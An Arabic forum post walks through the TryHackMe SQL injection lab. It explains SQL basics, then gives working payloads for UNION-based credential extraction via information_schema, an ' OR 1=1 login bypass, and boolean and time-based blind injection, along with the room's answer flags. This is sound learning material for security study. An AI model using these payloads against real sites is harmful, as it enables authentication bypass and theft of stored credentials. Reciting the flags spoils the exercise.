






السمعة:
- إنضم17 يونيو 2023
- المشاركات 515
- الحلول 10
- مستوى التفاعل 1,106
- النقاط 93

الـ SQL Injection

والشغل بهاد الموضوع بتضمن معرفة كيف نكتشف هاي الثغرات ونتستفيد منها لاختراق النظام , واكيد لو أنت مبرمج مواقع لازم تتعلم كيف تحمي برمجياتك من هاي الثغرات
بهاد الموضوع رح نركز على النقاط التالية

- ما هي الـ Database
- ما هي الـ SQL وكيفيه التعامل معها
- ما هو الـ SQL Injection وانواعها و امثله عليهن
الأسئله من TryHackMe | SQL Injection
ما هي الـ Database
الـ Database ( معناها قاعدة البيانات ) هي طريقة لتخزين المعلومات الإلكترونية بشكل منظم بتكون مراقبة بواسطة الـ (Database Management System DBMS ) اللي معناها نظام إدارة قواعد البيانات هاد عبارة عن برنامج بشتغل عليها وبتحكم فيها
يمكن متابعه الموضوع لمعرفه التعامل مع قواعد البيانات او انشائها
إنشاء داتا بيز أو حذفها, وإضافة جداول وعواميد وشرح أوامرها
لنقوم بتنزيل الـ xampp نتبع الخطوات التي بالموضوع التالي https://sh3ll.cloud/xf2/threads/345 نقوم بتشغيل ال MySQL بالضغط على start ثم اتبع الخطوات التالية للإنتقال إلى مجلد bin ثم تشغيل الخادم MySQL ثم مثال توضيحي لإنشاء داتا بيز وأعمدة وجداول س : قم بإنشاء جدولين بالتفاصيل التالية اجعل...

قواعد البيانات بتنقسم لنوعين
الـ Relational و الـ Non-Relational
الـ Relational
بكون فيها عدد من الجداول وكل جدول فيه بيانات مترتبطة ببعض الأسماء القواعد الشهيرة MySQL ، Microsoft SQL Server ، PostgreSQL وغيرهم. الجداول هاي هي اللي بتخزن المعلومات وكل جدول بكون فيه عمود وصفوف , كل عامود لازم يكون فيه اسم ونوع للمعلومة اللي فيه زي الأرقام أو النصوص
الصفوف هي البيانات الفعلية كل ما تضيف معلومة جديدة يتم إنشاء صف جديد
الفرق بين النوعين من قواعد البيانات هو إن الـ Relational بتستخدم جداول وترتبط بينها علاقات بينما الثانيه بتخزن البيانات بشكل أكثر مرونة وممكن يكون كل صف بيانات فيه معلومات مختلفة.

ما هو اختصار البرنامج الذي يتحكم في قاعدة البيانات؟
DBMS
ما اسم البنية الشبيهة بالشبكة التي تحتوي على البيانات؟
table
ما هي الـ SQL وكيفيه التعامل معها
تعتبر الـ SQL (Structured Query Language) لغة برمجة تُستخدم للتعامل مع قواعد البيانات
من أبسط الأوامر في SQL اللي بنستخدمها عادةً للتعامل مع قواعد البيانات
لاسترداد البيانات (SELECT)
دمج / جمع نتائج (UNION)
نعدل عليها (UPDATE)
نحط بيانات جديدة (INSERT)
نمسح بيانات (DELETE)
علما ان في بعض قواعد البيانات بتختلف قليلاً في الصياغة وطريقة العمل هاي أمثلة بناءً على قاعدة بيانات MySQL
الـ SELECT
كود:
select * from users;
هيك احنا بنحكي لقاعده البيانات انو بدنا نسترد كل الاعمده من الجدول اللي اسمه users
id | username | password |
1 | jon | pass123 |
2 | admin | p4ssword |
3 | martin | secret123 |
كود:
select username,password from users;
برجعلنا

username | password |
jon | pass123 |
admin | p4ssword |
martin | secret123 |
كود:
select * from users LIMIT 1;
برجعلنا

id | username | password |
1 | jon | pass123 |
كود:
select * from users where username='admin';
برجعلنا

id | username | password |
2 | admin | p4ssword |
كود:
select * from users where username != 'admin';
برجعلنا

id | username | password |
1 | jon | pass123 |
3 | martin | secret123 |
كود:
select * from users where username='admin' or username='jon';
برجعلنا

id | username | password |
1 | jon | pass123 |
2 | admin | p4ssword |
كود:
select * from users where username='admin' and password='p4ssword';
برجعلنا

id | username | password |
2 | admin | p4ssword |
يمكن استخدام % لتحديد الجمل التي تبدأ أو تحتوي على أو تنتهي على حرف معين
كود:
select * from users where username like 'a%';
برجعلنا

id | username | password |
2 | admin | p4ssword |
كود:
select * from users where username like '%n';
برجعلنا

id | username | password |
1 | jon | pass123 |
2 | admin | p4ssword |
3 | martin | secret123 |
كود:
select * from users where username like '%mi%';
برجعلنا

id | username | password |
2 | admin | p4ssword |
الـ UNION
هي عبارة عن أمر في اللغة الـ SQL بتجمع نتائج أكتر من استعلام SELECT وبترجع بيانات من جداول واحدة أو أكتر
القواعد لاستخدام الـ UNION
1. لازم يرجع نفس عدد الأعمدة في كل استعلام SELECT ، و
2. الأعمدة لازم تكون من نفس نوع البيانات و
3. ترتيب الأعمدة لازم يكون نفسه في كل استعلام
مثلا شركة بدها تعمل قائمه بالعناوين
عندها جدول اسمه customers وفيه المعلومات التاليه :
id | name | address | city | postcode |
1 | Mr John Smith | 123 Fake Street | Manchester | M2 3FJ |
2 | Mrs Jenny Palmer | 99 Green Road | Birmingham | B2 4KL |
3 | Miss Sarah Lewis | 15 Fore Street | London | NW12 3GH |
و جدول ثاني اسمه suppliers وفيه المعلومات التاليه :
id | company | address | city | postcode |
1 | Widgets Ltd | Unit 1a, Newby Estate | Bristol | BS19 4RT |
2 | The Tool Company | 75 Industrial Road | Norwich | N22 3DR |
3 | Axe Makers Ltd | 2b Makers Unit, Market Road | London | SE9 1KK |
باستخدام الاستعلام هاد بنقدر نجمع نتيجة الجدولين الثنين في جدول واحد :
كود:
SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers;
هيك بنجيب نتيجة فيها أسماء العملاء وعناوينهم بالإضافة إلى أسماء الموردين وعناوينهم
برجعلنا

name | address | city | postcode |
Mr John Smith | 123 Fake Street | Manchester | M2 3FJ |
Mrs Jenny Palmer | 99 Green Road | Birmingham | B2 4KL |
Miss Sarah Lewis | 15 Fore Street | London | NW12 3GH |
Widgets Ltd | Unit 1a, Newby Estate | Bristol | BS19 4RT |
The Tool Company | 75 Industrial Road | Norwich | N22 3DR |
Axe Makers Ltd | 2b Makers Unit, Market Road | London | SE9 1KK |
الـ INSERT
العبارة هاي بتخبر قاعدة البيانات إننا بدننا نحط صف جديد من البيانات في الجدول
كود:
insert into users (username,password) values ('bob','password123');
الـ into users بتخبر قاعدة البيانات الجدول اللي بدنا نحط فيه البيانات
الـ (username,password) أسماء الأعمدة اللي بدنا نحط فيها البيانات
الـ ;values ('bob','password') البيانات اللي بدنا نضيفها في الأعمدة اللي حددناها قبل .
الـ UPDATE
العبارة هاي بتخبر قاعدة البيانات إننا بدنا نعدل على صف أو أكتر في الجدولبتحدد الجدول اللي بدك تعدل فيه بـ SET " اسم الجدول " update وبعدين بتختار العامود أو العواميد اللي بدك تعدلها باستخدام قائمة منفصلة بـ فاصلة زي " username='root',password='pass123' " وأخيرًا زي الاستعلامات بتحدد بالتحديد أي صفوف بدك تعدل عليها باستخدام الـ where زي ;where username='admin
مثال :
كود:
update users SET username='root',password='pass123' where username='admin';
هيك بكون بدنا نعدل اسم المستخدم لـ root وكلمة السر لـ pass123 في الصف اللي اسم المستخدم فيه admin
الـ DELETE
اذا كننا نريد حذف صف أو أكثر من بيانات المستخدمين من الجدول يتم استخدام عبارة delete from users لتحديد الجدول اللي بدنا حذف البيانات منه. باستعلام SELECT يمكننا تحديد بيانات محددة للحذف باستخدام الـ where
كود:
delete from users where username='martin';
بعد الاستعلام

أما في الاستعلام التالي
كود:
delete from users;
يتم حذف كل البيانات من الجدول users بدون استخدام جملة الـ WHERE. هكذا سيتم حذف جميع الصفوف الموجودة في الجدول
ما عبارة SQL المستخدمة لاسترداد البيانات؟
SELECT
ما عبارة SQL التي يمكن استخدامها لاسترداد البيانات من جداول متعددة؟
UNION
ما عبارة SQL المستخدمة لإضافة البيانات؟
INSERT
ما هو الـ SQL Injection وامثله عليه
معناه إذا دخلت بيانات من المستخدم في قاعدة البيانات مباشرة من خلال المواقع
مثلاً إذا كان عندك موقع ويب للمدونات وكل مدخل في المدونة عندو رقم تعريفي فريد وفيه إعدادات بتخليك تحدد هل المدخل هاد متاح للعامة ولا لا. الرابط بياخذك لصفحة المدونة بيكون فيه شيء زي هيك
كود:
https://website.thm/blog?id=1
كود:
SELECT * from blog where id=1 and private=0 LIMIT 1;
مثلا لما يكون زي هيك الادخال عالرابط
بتحكي اجبلي المُدخل اللي عندو رقم 1 والمُدخل اللي هو عام وليس خاص واعرض لي مدخل واحد فقط
لكن المشكلة تبدأ لما يتم استخدام بيانات المستخدم بطريقة غير سليمة في الادخال
في المثال الرقم 2 محصور كمدخل خاص بس إذا كتبت الرابط هيك
كود:
https://website.thm/blog?id=2;--
السهم والنقطتين معناهن نهاية الادخال يعني كأنك حكيت للسيرفر اعمل الاستعلام وامسح اللي بعديه
هيك بتشوف المُدخل الخاص هيك بكون بعد ما انت تدخل
كود:
SELECT * from blog where id=2;-- and private=0 LIMIT 1;
هيك بتجيب المدخل رقم 2 والسطر اللي بعده بكون تعليق وما بأثر على الاستعلام.
ما الحرف الذي يشير إلى نهاية استعلام SQL؟
;
In-Band SQLi
نوع من ثغرات الـ Sql Injection اللي هو In-Band يعتبر أسهل نوع لاكتشافو واستغلالو لأنو ببساطة الهاكر بستخدم نفس الطريقة لاستغلال الثغرة وكمان بقدر يستخرج بيانات من قاعدة البيانات ويعرضها على نفس الصفحة.
وفي نوع تاني اسمه Error-Based هاد النوع مفيد جداً لاستخراج معلومات عن هيكل قاعدة البيانات لأنو رسائل الخطأ من قاعدة البيانات بتظهر مباشرة على شاشة المتصفح. يعني بقدر يستخدم رسائل الخطأ ليعرف كل حاجة عن القاعدة.
وعننا كمان Union-Based هاد النوع بستخدم عامل UNION في SQL جنباً إلى جنب مع عبارة SELECT ليرجع نتائج إضافية للصفحة هاد الاسلوب هو أكثر الطرق شيوعاً لاستخراج كميات كبيرة من البيانات عن طريق ثغرة الـ SQL Injection.
أساس اكتشاف Error-Based SQL Injection هو بتجربة بعض الأحرف لحد ما يطلع رسالة خطأ عادةً الأحرف عبارة عن علامة ترقيم أو علامة اقتباس.
جرب تكتب علامة اقتباس بعد id=1 بتشوف رسالة خطأ بتخبرك إنو في مشكلة بالصيغة
الرسالة هاي بتأكد إنو في ثغرة SQL Injection
أول اشي بنجرب نستخدم UNION لنحصل على نتيجة من اختيارنا.
تظهر رسالة خطأ معناها إن العدد من الأعمدة في العبارة UNION SELECT مختلف عن الاستعلام الأصلي نجرب نحط عامودين
نفس المشكله نجرب 3
رسالة الخطأ اختفت والمقالة بتظهر بس
المقالة بتظهر لأنها بتأخذ أول نتيجة رجعت من الاستعلام وبتعرضها علشان نتجاوز هالشيء لازم نخلي الاستعلام الأول ما يرجع نتائج وهذا ممكن يتم ببساطة عن طريق تغيير رقم id من 1 لـ 0.
الان اللي نعرض ناتج الاستعلام اللي انا ضفته فقط عن طريق الـ UNION وهي قيم الأعمدة 1،2،3
بنقدر نبدأ نستخدم القيم هاي عشان نجيب معلومات أكتر مثلا أول شيء بدنا نجيب اسم قاعدة البيانات اللي وصلنالها ممكن نعرف اسمها عن طريق الادخال التالي
كود:
0 UNION SELECT 1,2,database()
بعدها عن طريق الاستعالام التالي بامكاننا نعرف اسماء الجداول اللي موجوده بقاعده البيانات اللي عرفنا اسمها فوق
كود:
0 UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
طريقة ()group_concat لجمع أسماء الجداول , يعني بدلاً من عرض كل اسم جدول في صف منفرد سيتم جمعها في سلسلة واحدة بفاصلة
قاعدة البيانات ؛information_schema كل مستخدم في القاعدة عنده وصول لها ، وبتحتوي على معلومات عن كل القواعد والجداول اللي المستخدم عنده وصول الها
بالستعالام بنحكي لقاعده البيانات اعرضيلنا كل الجداول في قاعدة البيانات هاي sqli_one
جدول staff_users هو اللي بيهمنا لانو لحل التحدي بدو كلمة المرور الخاصه ب مارتن
بنقدر نستخدم قاعدة البيانات information_schema مرة تانية لنعرف بنية هذا الجدول باستخدام الاستعلام التالي :
كود:
0 UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'
هادا شبيه بالاستعلام اللي قبل بس الفرق هو إنو المعلومات اللي بدنا نجيبها تغيرت من table_name ل column_name ، والجدول اللي بنستعلم عنه في قاعدة البيانات information_schema تغير من tables لـ columns ، وبنبحث عن أي صفوف فيها قيمة column_name هي staff_users .
هيك صار معنا هاي القيم
staff_users
staff_users
username | password | id |
عن طريق group_concat بنقدر كمان نرجع كل الصفوف في سلسلة واحدة
لتسهيل القراءة زيدنا ,': لفصل اسم المستخدم عن كلمة المرور بدل ما تكون مفصولة بفاصلة اخترنا وسم '<br>' اللي بجبر كل نتيجة تطلع في سطر منفصل
كود:
0 UNION SELECT 1,2,group_concat(username,':',password SEPARATOR '<br>') FROM staff_users
عند ادخال الباسوورد
ما هو العلم بعد الانتهاء من المستوى 1؟
THM{SQL_INJECTION_3840}
Blind SQLi - Authentication Bypass
مقارنة بحقن SQL In-Band ، حيث نستطيع رؤية نتائج هجومنا مباشرة على الشاشة
الـ Blind SQLi هو عندما لا نحصل على أي رد فعل أو تأكيد على نجاح أو فشل الاستعلامات التي حققناها ، لأن رسائل الخطأ تم تعطيلها ولكن الحقن لا يزال يعمل على الرغم من ذلك
أحد أبسط تقنيات حقن Blind SQL هو عند تخطي طرق المصادقة مثل نماذج تسجيل الدخول في هذه الحالة لسنا مهتمين كثيرًا بجلب البيانات من قاعدة البيانات بل نريد فقط تخطي عملية تسجيل الدخول
غالبًا ما يتم تطوير نماذج تسجيل الدخول التي تتصل بقاعدة بيانات المستخدمين بطريقة تجعل التطبيق على الويب ليس مهتمًا بمحتوى اسم المستخدم وكلمة المرور بقدر ما هو مهتم بمطابقة الزوجين في جدول المستخدمين ببساطة يطلب التطبيق على الويب من قاعدة البيانات هل لديك مستخدم بالاسم bob وكلمة المرور bob123؟ وتجيب قاعدة البيانات بنعم أو لا (صحيح/خطأ) ويعتمد ذلك الجواب على ما إذا كان التطبيق على الويب يسمح لك بالمتابعة أم لا.
بناءً على المعلومات السابقة فإن تحديد زوج اسم مستخدم/كلمة مرور صالح غير ضروري. نحتاج فقط إلى إنشاء استعلام قاعدة بيانات يجيب بنعم/صحيح
مثال
يمكننا رؤية في المربع أن الاستعلام إلى قاعدة البيانات هو الآتي :
كود:
select * from users where username='' and password='' LIMIT 1;
لجعل هذا الاستعلام يعود دائمًا بقيمة صحيحة، يمكننا إدخال الآتي في حقل كلمة المرور :
كود:
' OR 1=1;--
الذي يحول الاستعلام SQL إلى الآتي :
كود:
select * from users where username='' and password='' OR 1=1;
بما أن 1=1 عبارة صحيحة وقد استخدمنا عامل OR ، فسيؤدي هذا دائمًا إلى عودة الاستعلام بقيمة صحيحة من ذلك يفهم التطبيق على الويب بأن قاعدة البيانات وجدت زوجًا صحيحًا لاسم المستخدم/كلمة المرور وينبغي السماح بالوصول.
بعد ادخالها
Blind SQLi - Boolean
هو يعني الرد اللي برجعلنا بكون إما صح أو غلط يعني ما فيه وسط , هاد بفيدنا نشوف إذا كانت الـ Injection اللي عملناها نجحت ولا لأBlind SQLi - Boolean
مثال
الـ URL زي هيك في الصفحة بظهر {"taken":true} الموقع بتحقق إذا كان اسم المستخدم مستخدم بالفعل أو لا
(حول اسم المستخدم الى admin123 )
أول شي بدنا نحدد كم عدد الأعمدة في جدول users هذا بقدر نعرفه بإستخدام UNION نجرب نضيف كلمة UNION للإستعلام الأصلي ونشوف ردة الفعل إذا كانت الإجابة صحيحة نكمل وإذا كانت غلط بجرب أكثر بعدين نبدأ نبحث عن اسم قاعدة البيانات والجداول وأسماء الأعمدة.
علشان نكمل الطريق لازم نحلل الردود ونستخدم الاستعلامات بطريقة متسلسلة
الان مثل ما عملنا قبل
كود:
' UNION SELECT 1;--
الآن بدنا نطلع اسم قاعدة البيانات عن طريق الـ '%' like سبق واستخدمناها فوق
اكيد راح يعطيك true لانو لسا ما عرفنا الاسم وهاي بتعني انو ممكن تكون اي حرف
بنجرب اكثر من حرف وعلامه حتى نوصل للأسم sqli_three
بعدها زي ما عملنا قبل بنقعد نجرب حتو نوصل لاسم الجدول
عن طريق الادخال التالي
كود:
admin123' UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like '%';--
بعد التجربه مكان الـ '%' نجد اسم الجدول هو users
نقوم بتكرار العمليه لكن على الباسورد الخاص بالمستخدم admin عن طريق الادخال التالي
كود:
admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%
بعد التجريب والمحاوله عن طريق الـ true والـ false نجد ان كلمه السر هي 3845
ما هو العلم بعد الانتهاء من المستوى الثالث؟THM{SQL_INJECTION_1093}
Blind SQLi - Time Based
هون مافي شي بعطيك إشارة واضحة إذا الاستعلام اللي بترسلو صح أو لأ , الشيء الوحيد إللي بعرفك إذا الاستعلام صح هو وقت الاستجابة للطلب يعني لو الاستعلام صح بوخذ وقت أطول ليتم استكماله وهذا الوقت الزائد بكون بسبب استخدام وظائف جاهزة زي SLEEP(x) جنبا إلى جنب مع عبارة UNION
يعني على سبيل المثال إذا كنت بدك تعرف كم عدد الأعمدة في جدول معين بتستخدم الاستعلام التالي :
كود:
admin123' UNION SELECT SLEEP(5);--
إذا ما في أي توقف في وقت الاستجابة يعني الاستعلام مش صح فبتضيف عمود ثاني لحتى تجرب :
كود:
admin123' UNION SELECT SLEEP(5),2;--
هون بتوقع بتحصل على توقف لمدة 5 ثواني في الاستجابة، يعني تأكيد على نجاح الاستعلام وأن في عندك عمودين.
وبعدين بتقدر تكرر هالعملية على كل الأعمدة وتحصل على كل المعلومات اللي بدك توصللها
بعد التجربه نجد ان اسم الـ database هو sqli_four
الان مثل ما عملنا بالاعلى نفعل هنا
كود:
admin123' UNION SELECT SLEEP(5),2 FROM information_schema.tables WHERE table_schema = 'sqli_four' and table_name like '%';--
بعد التجربه مكان الـ '%' نجد اسم الجدول هو users
نقوم بتكرار العمليه لكن على الباسورد الخاص بالمستخدم admin عن طريق الادخال التالي
كود:
admin123' UNION SELECT SLEEP(5),2 from users where username='admin' and password like '%
بعد التجريب والمحاوله عن طريق الـزمن ( اذا اخذ وقت فهذا يعني ان الادخال الذي ادخلته هو صحيح ) نجد ان كلمه السر هي 4961
ما هو العلم النهائي بعد الانتهاء من المستوى الرابع؟
THM{SQL_INJECTION_MASTER}
Out-of-Band
الـ Out-of-Band غير شائع زي SQL Injection العادي ، هون بعتمد على ميزات معينة مفعلة ( على السيرفر الخاص بـ قاعدة البيانات ) اللي بعمل مكالمة لشبكة خارجية بناءً على نتيجة الاستعلام
الهجوم هاد بيتميز بان فيه قناتين اتصال مختلفتين ، واحدة لتنفيذ الهجوم والتانية لجمع النتائج
على سبيل المثال قناة التنفيذ ممكن تكون طلب ويب وقناة جمع البيانات تكون رصد لطلبات HTTP/DNS
- الهاكر بيبعت طلب لموقع ويب فيه ثغرة SQL Injection باستخدام داتا معدلة.
- موقع الويب بعمل استعلام SQL لقاعدة البيانات ببعت الداتا المعدلة للهاكر
- الداتا المعدلة فيها طلب يقوم بعمل طلب HTTP راجع لجهاز الهاكر فيه البيانات من قاعدة البيانات
قم بتسمية بروتوكول يبدأ بالحرف D والذي يمكن استخدامه لسرقه البيانات من قاعدة البيانات.
Dns
حل امثله على الـ SQL Injection
sh3ll.cloud
حل معظم لابات portswigger من تقديمي
Sql inj labs
بعد تنزيل xampp يمكنك قراءة هذا المقال لمعرفة كيفية تنزيلها تنصيب خادم محلي XAMPP على نظام windows تنصيب خادم محلي XAMPP على نظام Kali Linux بعدها يمكنك تنزيل اللابات من موقع GitHub https://github.com/OWASP/Vulnerable-Web-Application أو يمكنك تنزيلها من هنا 👇 sql1.php sql2.php sql3.php...

حل معظم لابات portswigger من تقديمي
المرفقات
التعديل الأخير: